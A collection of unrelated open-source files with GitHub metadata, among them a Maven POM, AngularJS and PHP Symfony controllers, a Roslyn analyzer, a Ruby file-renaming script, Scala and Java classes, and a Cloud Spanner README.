"avg_line_length": 40.74828375286041,
"alnum_prop": 0.6504183747964284,
"repo_name": "ondra-novak/chromium.src",
"id": "da79a35533b39028a2f103422cf38a0275c647ce",
"size": "18451",
"binary": false,
"copies": "6",
"ref": "refs/heads/nw",
"path": "chrome/browser/chromeos/input_method/input_method_util_unittest.cc",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "AppleScript",
"bytes": "6973"
},
{
"name": "Arduino",
"bytes": "464"
},
{
"name": "Assembly",
"bytes": "35318"
},
{
"name": "Batchfile",
"bytes": "7621"
},
{
"name": "C",
"bytes": "8692951"
},
{
"name": "C++",
"bytes": "206833388"
},
{
"name": "CSS",
"bytes": "871479"
},
{
"name": "HTML",
"bytes": "24541148"
},
{
"name": "Java",
"bytes": "5457985"
},
{
"name": "JavaScript",
"bytes": "17791684"
},
{
"name": "Makefile",
"bytes": "92563"
},
{
"name": "Objective-C",
"bytes": "1312233"
},
{
"name": "Objective-C++",
"bytes": "7105758"
},
{
"name": "PHP",
"bytes": "97817"
},
{
"name": "PLpgSQL",
"bytes": "218379"
},
{
"name": "Perl",
"bytes": "69392"
},
{
"name": "Protocol Buffer",
"bytes": "387183"
},
{
"name": "Python",
"bytes": "6929739"
},
{
"name": "Shell",
"bytes": "473664"
},
{
"name": "Standard ML",
"bytes": "4131"
},
{
"name": "XSLT",
"bytes": "418"
},
{
"name": "nesC",
"bytes": "15206"
}
],
"symlink_target": ""
} |
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<name>ActiveMQ Artemis Native POM</name>
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.apache.activemq</groupId>
<artifactId>artemis-pom</artifactId>
<version>1.5.0-SNAPSHOT</version>
</parent>
<artifactId>artemis-native</artifactId>
<packaging>bundle</packaging>
<dependencies>
<dependency>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging-processor</artifactId>
<scope>provided</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging</artifactId>
</dependency>
<dependency>
<groupId>org.jboss.logmanager</groupId>
<artifactId>jboss-logmanager</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<resources>
<resource>
<directory>${basedir}/target/output/</directory>
</resource>
</resources>
<plugins>
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<executions>
<execution>
<id>copy-resources-32</id>
<phase>validate</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
<outputDirectory>${basedir}/target/output/lib/linux-i686/</outputDirectory>
<resources>
<resource>
<directory>bin/</directory>
<includes>
<include>libartemis-native-32.so</include>
</includes>
</resource>
</resources>
</configuration>
</execution>
<execution>
<id>copy-resources-64</id>
<phase>validate</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
<outputDirectory>${basedir}/target/output/lib/linux-x86_64/</outputDirectory>
<resources>
<resource>
<directory>bin/</directory>
<includes>
<include>libartemis-native-64.so</include>
</includes>
</resource>
</resources>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<properties>
<activemq.basedir>${project.basedir}/..</activemq.basedir>
</properties>
</project>
| {
"content_hash": "273737a3f5af109b3357f57b4ca2ac20",
"timestamp": "",
"source": "github",
"line_count": 112,
"max_line_length": 201,
"avg_line_length": 35.339285714285715,
"alnum_prop": 0.5497726124305204,
"repo_name": "lburgazzoli/apache-activemq-artemis",
"id": "97f4f9fd6890dda5b6859aa1911b8826b80ce92c",
"size": "3958",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "artemis-native/pom.xml",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "6452"
},
{
"name": "C",
"bytes": "26250"
},
{
"name": "C++",
"bytes": "1197"
},
{
"name": "CMake",
"bytes": "4260"
},
{
"name": "CSS",
"bytes": "11732"
},
{
"name": "HTML",
"bytes": "19117"
},
{
"name": "Java",
"bytes": "22193755"
},
{
"name": "Shell",
"bytes": "13568"
}
],
"symlink_target": ""
} |
(function () {
'use strict';
angular
.module('contactus')
.factory('ContactusService', ContactusService);
ContactusService.$inject = ['$resource'];
function ContactusService($resource) {
return $resource('api/contactus/:contactuId', {
contactuId: '@_id'
}, {
update: {
method: 'PUT'
}
});
}
}());
| {
"content_hash": "98fe2d5eff9d868c29423392025ee63f",
"timestamp": "",
"source": "github",
"line_count": 19,
"max_line_length": 51,
"avg_line_length": 18.736842105263158,
"alnum_prop": 0.5702247191011236,
"repo_name": "ProjectGroupB/SchoolNotes",
"id": "cb8b4cdfa1cba04223c69baf333a5be92b5ac30f",
"size": "422",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "modules/contactus/client/services/contactus.client.service.js",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "2363"
},
{
"name": "C",
"bytes": "212246"
},
{
"name": "C++",
"bytes": "2776"
},
{
"name": "CSS",
"bytes": "49677"
},
{
"name": "HTML",
"bytes": "124766"
},
{
"name": "JavaScript",
"bytes": "606324"
},
{
"name": "Roff",
"bytes": "32023"
},
{
"name": "Ruby",
"bytes": "7556753"
},
{
"name": "Shell",
"bytes": "1647"
}
],
"symlink_target": ""
} |
def extractKysqiWordpressCom(item):
'''
Parser for 'kysqi.wordpress.com'
'''
vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
if not (chp or vol) or "preview" in item['title'].lower():
return None
tagmap = [
('PRC', 'PRC', 'translated'),
('Loiterous', 'Loiterous', 'oel'),
]
for tagname, name, tl_type in tagmap:
if tagname in item['tags']:
return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False
| {
"content_hash": "6c201c49e771c66d0ee8a72b9087c9ef",
"timestamp": "",
"source": "github",
"line_count": 21,
"max_line_length": 104,
"avg_line_length": 26.142857142857142,
"alnum_prop": 0.6284153005464481,
"repo_name": "fake-name/ReadableWebProxy",
"id": "6b70057fc5edb708e0f2bcbcdb6ad38a20566880",
"size": "550",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "WebMirror/management/rss_parser_funcs/feed_parse_extractKysqiWordpressCom.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "CSS",
"bytes": "105811"
},
{
"name": "Dockerfile",
"bytes": "1178"
},
{
"name": "HTML",
"bytes": "119737"
},
{
"name": "JavaScript",
"bytes": "3006524"
},
{
"name": "Jupyter Notebook",
"bytes": "148075"
},
{
"name": "Mako",
"bytes": "1454"
},
{
"name": "Python",
"bytes": "5264346"
},
{
"name": "Shell",
"bytes": "1059"
}
],
"symlink_target": ""
} |
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the MIT license. See License.txt in the project root for license information.
Imports Analyzer.Utilities.Extensions
Imports Microsoft.CodeAnalysis.Analyzers
Imports Microsoft.CodeAnalysis.Diagnostics
Imports Microsoft.CodeAnalysis.VisualBasic.Syntax
Namespace Microsoft.CodeAnalysis.VisualBasic.Analyzers
<DiagnosticAnalyzer(LanguageNames.VisualBasic)>
Public Class VisualBasicUpgradeMSBuildWorkspaceAnalyzer
Inherits UpgradeMSBuildWorkspaceAnalyzer
Private Protected Sub New(performAssemblyChecks As Boolean)
MyBase.New(performAssemblyChecks)
End Sub
Public Sub New()
Me.New(performAssemblyChecks:=True)
End Sub
Protected Overrides Sub RegisterIdentifierAnalysis(context As CompilationStartAnalysisContext)
context.RegisterSyntaxNodeAction(AddressOf AnalyzeIdentifier, SyntaxKind.IdentifierName)
End Sub
Protected Overrides Sub RegisterIdentifierAnalysis(context As AnalysisContext)
context.RegisterSyntaxNodeAction(AddressOf AnalyzeIdentifier, SyntaxKind.IdentifierName)
End Sub
Private Sub AnalyzeIdentifier(context As SyntaxNodeAnalysisContext)
Dim identifierName = TryCast(context.Node, IdentifierNameSyntax)
If identifierName Is Nothing Then
Return
End If
If Not CaseInsensitiveComparison.Equals(identifierName.Identifier.ToString(), MSBuildWorkspace) Then
Return
End If
Dim symbolInfo = context.SemanticModel.GetSymbolInfo(identifierName, context.CancellationToken)
If symbolInfo.Symbol Is Nothing Then
context.ReportDiagnostic(identifierName.CreateDiagnostic(UpgradeMSBuildWorkspaceDiagnosticRule))
End If
End Sub
End Class
End Namespace | {
"content_hash": "e4c8a55c841e12ad1e42903b6ec0f387",
"timestamp": "",
"source": "github",
"line_count": 45,
"max_line_length": 144,
"avg_line_length": 42.51111111111111,
"alnum_prop": 0.7370622059592263,
"repo_name": "dotnet/roslyn-analyzers",
"id": "3146ef4850ced0ee307891e66800eac0b5350723",
"size": "1915",
"binary": false,
"copies": "1",
"ref": "refs/heads/main",
"path": "src/Microsoft.CodeAnalysis.Analyzers/VisualBasic/VisualBasicUpgradeMSBuildWorkspaceAnalyzer.vb",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "2423"
},
{
"name": "C#",
"bytes": "15365655"
},
{
"name": "CMake",
"bytes": "12939"
},
{
"name": "PowerShell",
"bytes": "181309"
},
{
"name": "Shell",
"bytes": "115733"
},
{
"name": "Visual Basic .NET",
"bytes": "276464"
}
],
"symlink_target": ""
} |
require 'digest/md5'
def traverse_dir()
theFileDir = '/Users/Shared/GitHub/QuanGe.github.io/images/jhds/copy/pepole/'
if File.directory? theFileDir
Dir.foreach(theFileDir) do |file|
if file !="." and file !=".." and file !=".DS_Store"
#File.rename('/Users/git/Desktop/jhds/copy/'+ file,'/Users/git/Desktop/jhds/copy/'+ "QuanGeLab"+file)
oldName = theFileDir+ file
newName = theFileDir+Digest::MD5.hexdigest(file)+".jpg"
File.rename(oldName,newName)
end
end
else
puts "File:#{File.basename(theFileDir)}, Size:#{File.size(theFileDir)}"
end
end
traverse_dir() | {
"content_hash": "6fd5fc2a97d986400b9edfd83635a8e3",
"timestamp": "",
"source": "github",
"line_count": 19,
"max_line_length": 115,
"avg_line_length": 35.578947368421055,
"alnum_prop": 0.6035502958579881,
"repo_name": "QuanGe/QuanGe.github.io",
"id": "460c5be9205592146883559a7cda30f5283110ba",
"size": "676",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "images/jhds/copy/pepoleRename1.rb",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "11228"
},
{
"name": "HTML",
"bytes": "71691"
},
{
"name": "Ruby",
"bytes": "42491"
},
{
"name": "SCSS",
"bytes": "52167"
}
],
"symlink_target": ""
} |
var loadState = {
preload: function(){
debug ? d('Loading assets...') : null;
game.load.tilemap('level_map', 'assets/level1.json', null, Phaser.Tilemap.TILED_JSON);
game.load.image('tileset_image', 'assets/tileset.png');
game.load.image('ship_sprite', 'assets/ship.png');
game.load.image('space', 'assets/space.png');
},
create: function(){
game.state.start('level');
}
}; | {
"content_hash": "6ea5c05835400735eb4c97b5c6934913",
"timestamp": "",
"source": "github",
"line_count": 14,
"max_line_length": 88,
"avg_line_length": 29.142857142857142,
"alnum_prop": 0.6299019607843137,
"repo_name": "Mornius/Captainz",
"id": "93898cb181086dee744de3bc76659c03858b8c2a",
"size": "408",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "js/load.js",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "773"
},
{
"name": "JavaScript",
"bytes": "4512"
}
],
"symlink_target": ""
} |
<?php
namespace AppBundle\Controller;
use AppBundle\Entity\MsvEvaluacion;
use AppBundle\Entity\MsvCategoria;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\Request;
/**
* Msvevaluacion controller.
*
* @Route("msvevaluacion")
*/
class MsvEvaluacionController extends Controller
{
/**
* Lists all msvEvaluacion entities.
*
* @Route("/", name="msvevaluacion_index")
* @Method("GET")
*/
public function indexAction()
{
$helpers = $this->get("app.helpers");
$em = $this->getDoctrine()->getManager();
$evaluaciones = $em->getRepository('AppBundle:MsvEvaluacion')->findBy(
array('activo' => true)
);
$response['data'] = array();
if ($evaluaciones) {
$response = array(
'status' => 'success',
'code' => 200,
'message' => count($evaluaciones) . " registros encontrados",
'data' => $evaluaciones,
);
}
return $helpers->json($response);
}
/**
* Creates a new msvEvaluacion entity.
*
* @Route("/new", name="msvevaluacion_new")
* @Method({"GET", "POST"})
*/
public function newAction(Request $request)
{
$helpers = $this->get("app.helpers");
$hash = $request->get("authorization", null);
$authCheck = $helpers->authCheck($hash);
if ($authCheck == true) {
$json = $request->get("json", null);
$params = json_decode($json);
$em = $this->getDoctrine()->getManager();
$msvEvaluacion = new MsvEvaluacion();
$msvEvaluacion->setFecha(new \Datetime(date('Y-m-d h:i:s')));
$idEmpresa = $em->getRepository('JHWEBUsuarioBundle:UserEmpresa')->find($params->idEmpresa);
$msvEvaluacion->setEmpresa($idEmpresa);
$revision = $em->getRepository('AppBundle:MsvRevision')->find($params->idRevision);
if($revision){
$revision->setEvaluacion($msvEvaluacion);
$em->persist($revision);
}
$msvEvaluacion->setRevision($revision);
$msvEvaluacion->setPilarFortalecimiento("FORTALECIMIENTO EN LA GESTIÓN INSTITUCIONAL");
$msvEvaluacion->setValorObtenidoFortalecimiento($params->valorObtenidoFortalecimiento);
$msvEvaluacion->setValorPonderadoFortalecimiento(0.3);
$valorResultadoFortalecimiento = $params->valorObtenidoFortalecimiento * 0.3;
$msvEvaluacion->setResultadoFortalecimiento(number_format($valorResultadoFortalecimiento), 2, '.');
$msvEvaluacion->setPilarComportamiento("COMPORTAMIENTO HUMANO");
$msvEvaluacion->setValorObtenidoComportamiento($params->valorObtenidoComportamiento);
$msvEvaluacion->setValorPonderadoComportamiento(0.3);
$valorResultadoComportamiento = $params->valorObtenidoComportamiento * 0.3;
$msvEvaluacion->setResultadoComportamiento(number_format($valorResultadoComportamiento), 2, '.');
$msvEvaluacion->setPilarVehiculoSeguro("VEHÍCULOS SEGUROS");
$msvEvaluacion->setValorObtenidoVehiculoSeguro($params->valorObtenidoVehiculoSeguro);
$msvEvaluacion->setValorPonderadoVehiculoSeguro(0.2);
$valorResultadoVehiculoSeguro = $params->valorObtenidoVehiculoSeguro * 0.2;
$msvEvaluacion->setResultadoVehiculoSeguro(number_format($valorResultadoVehiculoSeguro), 2, '.');
$msvEvaluacion->setPilarInfraestructuraSegura("INFRAESTRUCTURA SEGURA ");
$msvEvaluacion->setValorObtenidoInfraestructuraSegura($params->valorObtenidoInfraestructuraSegura);
$msvEvaluacion->setValorPonderadoInfraestructuraSegura(0.1);
$valorResultadoInfraestructuraSegura = $params->valorObtenidoInfraestructuraSegura * 0.1;
$msvEvaluacion->setResultadoInfraestructuraSegura(number_format($valorResultadoInfraestructuraSegura), 2, '.');
$msvEvaluacion->setPilarAtencionVictima("ATENCIÓN A VÍCTIMAS");
$msvEvaluacion->setValorObtenidoAtencionVictima($params->valorObtenidoAtencionVictima);
$msvEvaluacion->setValorPonderadoAtencionVictima(0.1);
$valorResultadoAtencionVictima = $params->valorObtenidoAtencionVictima * 0.1;
$msvEvaluacion->setResultadoAtencionVictima(number_format($valorResultadoAtencionVictima), 2, '.');
$datosValorAgregadoArray= (array)$params->datosValorAgregado;
$msvEvaluacion->setPilarValorAgregado(implode(",", $datosValorAgregadoArray));
$msvEvaluacion->setValorObtenidoValorAgregado($params->valorObtenidoValorAgregado);
$msvEvaluacion->setValorPonderadoValorAgregado(0.05);
$valorResultadoValorAgregado = $params->valorObtenidoValorAgregado * 0.05;
$msvEvaluacion->setResultadoValorAgregado(number_format($valorResultadoValorAgregado), 2, '.');
$resultadoFinal = $valorResultadoFortalecimiento + $valorResultadoComportamiento + $valorResultadoVehiculoSeguro + $valorResultadoInfraestructuraSegura + $valorResultadoAtencionVictima + $valorResultadoValorAgregado;
$msvEvaluacion->setResultadoFinal(number_format($resultadoFinal), 2, '.');
$minimoAval = 95 * 0.75;
if ($resultadoFinal >= $minimoAval) {
$msvEvaluacion->setAval(true);
} else {
$msvEvaluacion->setAval(false);
}
$msvEvaluacion->setActivo(true);
//volver a esta habilitado todas las categorias de la evaluación
$categorias = $em->getRepository('AppBundle:MsvCategoria')->findBy(
array(
'activo' => 1,
'habilitado' => 0,
)
);
foreach ($categorias as $key => $categoria) {
$categoria->setHabilitado(true);
$em->persist($categoria);
}
$em->persist($msvEvaluacion);
$em->flush();
if ($resultadoFinal >= $minimoAval) {
$response = array(
'status' => 'success',
'code' => 200,
'message' => "Los datos han sido registrados exitosamente. <br> El resultado final es: " . $resultadoFinal . ", cumple con el aval.",
'data' => $msvEvaluacion,
);
} else {
$response = array(
'status' => 'success',
'code' => 200,
'message' => "Los datos han sido registrados exitosamente. <br> El resultado final es: " . $resultadoFinal . ", no cumple con el aval.",
'data' => $msvEvaluacion,
);
}
} else {
$response = array(
'status' => 'error',
'code' => 400,
'message' => "Autorización no válida",
);
}
return $helpers->json($response);
}
/**
* Finds and displays a msvEvaluacion entity.
*
* @Route("/{id}", name="msvevaluacion_show")
* @Method("POST")
*/
public function showAction(MsvEvaluacion $msvEvaluacion)
{
$helpers = $this->get("app.helpers");
$hash = $request->get("authorization", null);
$authCheck = $helpers->authCheck($hash);
if($authCheck == true ){
$em = $this->getDoctrine()->getManager();
$evaluacion = $em->getRepository('AppBundle:MsvEvaluacion')->find($id);
if($evaluacion){
$response = array(
'status' => 'success',
'code' => 200,
'message' => "Evaluacion encontrada",
'data' => $evaluacion,
);
}else{
$response = array(
'status' => 'error',
'code' => 401,
'message'=> "Evaluación no encontrada",
);
}
}else{
$response = array(
'status' => 'error',
'code' => 400,
'message'=> "Autorización no valida",
);
}
return $helpers->json($response);
}
/**
* Displays a form to edit an existing msvevaluacion entity.
*
* @Route("/edit", name="msvevaluacion_edit")
* @Method({"GET", "POST"})
*/
public function editAction(Request $request)
{
$helpers = $this->get("app.helpers");
$hash = $request->get("authorization", null);
$authCheck = $helpers->authCheck($hash);
if($authCheck==true){
$json = $request->get("json",null);
$params = json_decode($json);
$em = $this->getDoctrine()->getManager();
$evaluacion = $em->getRepository('AppBundle:MsvEvaluacion')->find($params->id);
if($evaluacion != null){
$evaluacion->setNumero($params->numero);
$evaluacion->setParametro($params->parametro);
$evaluacion->setItem($params->item);
$evaluacion->setVariable($params->variable);
$evaluacion->setCriterio($params->criterio);
if($params->aplica == 'true'){
$evaluacion->setAplica(true);
}else{
$evaluacion->setAplica(false);
}
if($params->evidencia == 'true'){
$evaluacion->setEvidencia(true);
}else{
$evaluacion->setEvidencia(true);
}
if($params->responde == 'true'){
$evaluacion->setResponde(true);
}else{
$evaluacion->setResponde(true);
}
$evaluacion->setOservacion($params->observacion);
$evaluacion->setEstado(true);
$em->persist($evaluacion);
$em->flush();
$response = array(
'status' => 'success',
'code' => 200,
'message' => "Evaluación editada con éxito.",
);
}else{
$response = array(
'status' => 'error',
'code' => 400,
'message' => "La evaluación no se encuentra en la base de datos",
);
}
}
else{
$response = array(
'status' => 'error',
'code' => 400,
'message' => "Autorización no valida para editar banco",
);
}
return $helpers->json($response);
}
/**
* Deletes a msvevaluacion entity.
*
* @Route("/delete", name="msvevaluacion_delete")
* @Method("POST")
*/
public function deleteAction(Request $request)
{
$helpers = $this->get("app.helpers");
$hash = $request->get("authorization", null);
$authCheck = $helpers->authCheck($hash);
if($authCheck == true){
$json = $request->get("json",null);
$params = json_decode($json);
$em = $this->getDoctrine()->getManager();
$evaluacion = $em->getRepository('AppBundle:MsvEvaluacion')->find($params);
$evaluacion->setEstado(0);
$em->persist($evaluacion);
$em->flush();
$response = array(
'status' => 'success',
'code' => 200,
'message' => "Evaluación eliminada con éxito",
);
}else{
$response = array(
'status' => 'error',
'code' => 400,
'message' => "Autorización no valida",
);
}
return $helpers->json($response);
}
/**
* Creates a form to delete a msvEvaluacion entity.
*
* @param MsvEvaluacion $msvEvaluacion The msvEvaluacion entity
*
* @return \Symfony\Component\Form\Form The form
*/
private function createDeleteForm(MsvEvaluacion $msvEvaluacion)
{
return $this->createFormBuilder()
->setAction($this->generateUrl('msvevaluacion_delete', array('id' => $msvEvaluacion->getId())))
->setMethod('DELETE')
->getForm()
;
}
/**
* @Route("/find/aval/evaluacion", name="msvevaluacion_aval")
* @Method({"GET","POST"})
*/
public function findAvalByEvaluacionAction(Request $request)
{
$helpers = $this->get("app.helpers");
$hash = $request->get("authorization", null);
$authCheck = $helpers->authCheck($hash);
if ($authCheck == true) {
$json = $request->get("json", null);
$params = json_decode($json);
$em = $this->getDoctrine()->getManager();
$evaluacion = $em->getRepository('AppBundle:MsvEvaluacion')->findOneBy(array('revision' => $params->id));
$response['data'] = array();
if ($evaluacion) {
$response = array(
'status' => 'success',
'code' => 200,
'message' =>"Registro encontrado",
'data' => $evaluacion,
);
}
return $helpers->json($response);
} else {
$response = array(
'status' => 'error',
'code' => 400,
'message' => "Autorización no válida",
);
}
return $helpers->json($response);
}
/**
* Genera pdf del aval o no aval de una evaluacion.
*
* @Route("/{idUsuario}/{id}/aval/pdf", name="aval_pdf")
* @Method({"GET","POST"})
*/
public function pdfAction(Request $request, $id, $idUsuario)
{
$em = $this->getDoctrine()->getManager();
setlocale(LC_ALL, "es_ES");
$fechaActual = strftime("%d de %B del %Y");
$evaluacion = $em->getRepository('AppBundle:MsvEvaluacion')->find($id);
$ciudadano = $em->getRepository('JHWEBUsuarioBundle:UserCiudadano')->find($idUsuario);
if ($ciudadano) {
$funcionario = $em->getRepository('JHWEBPersonalBundle:PnalFuncionario')->findOneBy(
array(
'ciudadano' => $ciudadano->getId(),
'activo' => true,
)
);
} else {
$response = array(
'status' => 'error',
'code' => 400,
'message' => 'EL registro no existe en la base de datos.',
);
}
switch ($evaluacion->getAval()) {
case true:
$html = $this->renderView('@App/msvEvaluacion/pdfAval.template.html.twig', array(
'fechaActual' => $fechaActual,
'evaluacion' => $evaluacion,
'funcionario' => $funcionario,
));
break;
case false:
$html = $this->renderView('@App/msvEvaluacion/pdfNoAval.template.html.twig', array(
'fechaActual' => $fechaActual,
'evaluacion' => $evaluacion,
'funcionario' => $funcionario,
));
break;
}
$this->get('app.pdf')->templateEvaluacion($html, $evaluacion);
}
/**
* Displays a form to edit an existing msvevaluacion entity.
*
* @Route("/{id}/calificacion/pdf", name="msvevaluacion_pdf_calificacion")
* @Method({"GET", "POST"})
*/
public function shoyCalificacionByEvaluacionAction($id)
{
$em = $this->getDoctrine()->getManager();
setlocale(LC_ALL, "es_ES");
$fechaActual = strftime("%d de %B del %Y");
$revision = $em->getRepository('AppBundle:MsvRevision')->find($id);
$empresa = $em->getRepository('JHWEBUsuarioBundle:UserEmpresa')->find($revision->getEmpresa());
$calificaciones = $em->getRepository('AppBundle:MsvCalificacion')->findBy(
array(
'revision' => $revision,
'estado' => true,
)
);
foreach ($calificaciones as $key => $calificacion) {
# code...
switch ($calificacion->getCriterio()->getVariable()->getParametro()->getCategoria()->getId()) {
case 1:
# code...
$calificacionesFortalecimiento[] = array(
'calif' => $calificacion,
);
break;
case 2:
$calificacionesComportamiento[] = array(
'calif' => $calificacion,
);
break;
case 3:
$calificacionesVehiculoSeguro[] = array(
'calif' => $calificacion,
);
break;
case 4:
$calificacionesInfraestructuraSegura[] = array(
'calif' => $calificacion,
);
break;
case 5:
$calificacionesAtencionVictima[] = array(
'calif' => $calificacion,
);
break;
}
}
$html = $this->renderView('@App/msvEvaluacion/pdf.calificacion.evaluacion.html.twig', array(
'fechaActual' => $fechaActual,
'empresa' => $empresa,
'calificacionesFortalecimiento' => $calificacionesFortalecimiento,
'calificacionesComportamiento' => $calificacionesComportamiento,
'calificacionesVehiculoSeguro' => $calificacionesVehiculoSeguro,
'calificacionesInfraestructuraSegura' => $calificacionesInfraestructuraSegura,
'calificacionesAtencionVictima' => $calificacionesAtencionVictima,
));
$this->get('app.pdf')->templateCalificacion($html, $empresa);
}
}
| {
"content_hash": "be632004c957d702c952ec0f092e1642",
"timestamp": "",
"source": "github",
"line_count": 482,
"max_line_length": 224,
"avg_line_length": 37.68879668049792,
"alnum_prop": 0.530936915116151,
"repo_name": "edosgn/colossus-sit",
"id": "66ad39207cd7676bc451d3afca3ae60d711ef986",
"size": "18184",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/AppBundle/Controller/MsvEvaluacionController.php",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "326601"
},
{
"name": "PHP",
"bytes": "6284297"
}
],
"symlink_target": ""
} |
package at.forsyte.apalache.tla.imp.src
import at.forsyte.apalache.tla.lir.TlaEx
import at.forsyte.apalache.tla.lir.transformations.{TlaExTransformation, TransformationTracker}
/**
* This is a special form of transformation tracker that records the changes directly in the source store.
* In general, this behavior is discouraged. However, when SanyImporter does code modifications itself,
* it can only save the changes in the source store. Do not use this class outside of SanyImporter.
*
* @author Igor Konnov
*/
class SaveToStoreTracker(sourceStore: SourceStore) extends TransformationTracker {
/**
* Decorate a transformation with a tracker.
*
* @param tr an expression transformation
* @return a new transformation that applies tr and tracks the changes
*/
override def track(tr: TlaExTransformation): TlaExTransformation = {
input: TlaEx =>
val output = tr(input)
if (output.ID != input.ID) {
sourceStore.findOrLog(input.ID).foreach { loc => sourceStore.add(output.ID, loc) }
}
output
}
}
| {
"content_hash": "41833806271c0b261aff4bbd993ccc0e",
"timestamp": "",
"source": "github",
"line_count": 28,
"max_line_length": 107,
"avg_line_length": 38.285714285714285,
"alnum_prop": 0.7257462686567164,
"repo_name": "konnov/dach",
"id": "03ec895da57877d94af506b56ab099fcbed672d1",
"size": "1072",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "tla-import/src/main/scala/at/forsyte/apalache/tla/imp/src/SaveToStoreTracker.scala",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Scala",
"bytes": "29508"
}
],
"symlink_target": ""
} |
package org.kuali.rice.ksb.messaging.remotedservices;
import org.kuali.rice.core.api.util.jaxb.MapStringStringAdapter;
import org.kuali.rice.core.api.util.jaxb.MultiValuedStringMapAdapter;
import javax.jws.WebMethod;
import javax.jws.WebParam;
import javax.jws.WebResult;
import javax.jws.WebService;
import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;
import javax.xml.ws.RequestWrapper;
import javax.xml.ws.ResponseWrapper;
import java.util.List;
import java.util.Map;
/**
* This is a jaxws annotated web service, used for testing web services on the ksb.
*
* @author Kuali Rice Team (rice.collab@kuali.org)
*
*/
@WebService(targetNamespace = "http://rice.kuali.org/", name = "JaxWsEchoService")
public interface JaxWsEchoService {
@WebResult(name = "outMsg")
@RequestWrapper(localName = "Echo")
@ResponseWrapper(localName = "EchoResponse")
@WebMethod
public String doEcho(
@WebParam(name = "inMsg") String inMsg
);
@WebResult(name = "headers")
@RequestWrapper(localName = "EchoHeaders")
@ResponseWrapper(localName = "EchoHeaderResponse")
@WebMethod
public void captureHeaders();
}
| {
"content_hash": "b586c1c45bf25e3473322b4abe4d3464",
"timestamp": "",
"source": "github",
"line_count": 39,
"max_line_length": 84,
"avg_line_length": 30.71794871794872,
"alnum_prop": 0.7195325542570952,
"repo_name": "sbower/kuali-rice-1",
"id": "74170e8bc36a047c42053e52ffe7912b84f8a784",
"size": "1832",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "it/ksb/src/test/java/org/kuali/rice/ksb/messaging/remotedservices/JaxWsEchoService.java",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
Python Client for Cloud Spanner
===============================
|pypi| |versions|
`Cloud Spanner`_ is the world's first fully managed relational database service
to offer both strong consistency and horizontal scalability for
mission-critical online transaction processing (OLTP) applications. With Cloud
Spanner you enjoy all the traditional benefits of a relational database; but
unlike any other relational database service, Cloud Spanner scales horizontally
to hundreds or thousands of servers to handle the biggest transactional
workloads.
- `Client Library Documentation`_
- `Product Documentation`_
.. |pypi| image:: https://img.shields.io/pypi/v/google-cloud-spanner.svg
:target: https://pypi.org/project/google-cloud-spanner/
.. |versions| image:: https://img.shields.io/pypi/pyversions/google-cloud-spanner.svg
:target: https://pypi.org/project/google-cloud-spanner/
.. _Cloud Spanner: https://cloud.google.com/spanner/
.. _Client Library Documentation: https://googlecloudplatform.github.io/google-cloud-python/latest/spanner/index.html
.. _Product Documentation: https://cloud.google.com/spanner/docs
Quick Start
-----------
In order to use this library, you first need to go through the following steps:
1. `Select or create a Cloud Platform project.`_
2. `Enable billing for your project.`_
3. `Enable the Google Cloud Datastore API.`_
4. `Setup Authentication.`_
.. _Select or create a Cloud Platform project.: https://console.cloud.google.com/project
.. _Enable billing for your project.: https://cloud.google.com/billing/docs/how-to/modify-project#enable_billing_for_a_project
.. _Enable the Google Cloud Datastore API.: https://cloud.google.com/datastore
.. _Setup Authentication.: https://googlecloudplatform.github.io/google-cloud-python/latest/core/auth.html
Installation
~~~~~~~~~~~~
Install this library in a `virtualenv`_ using pip. `virtualenv`_ is a tool to
create isolated Python environments. The basic problem it addresses is one of
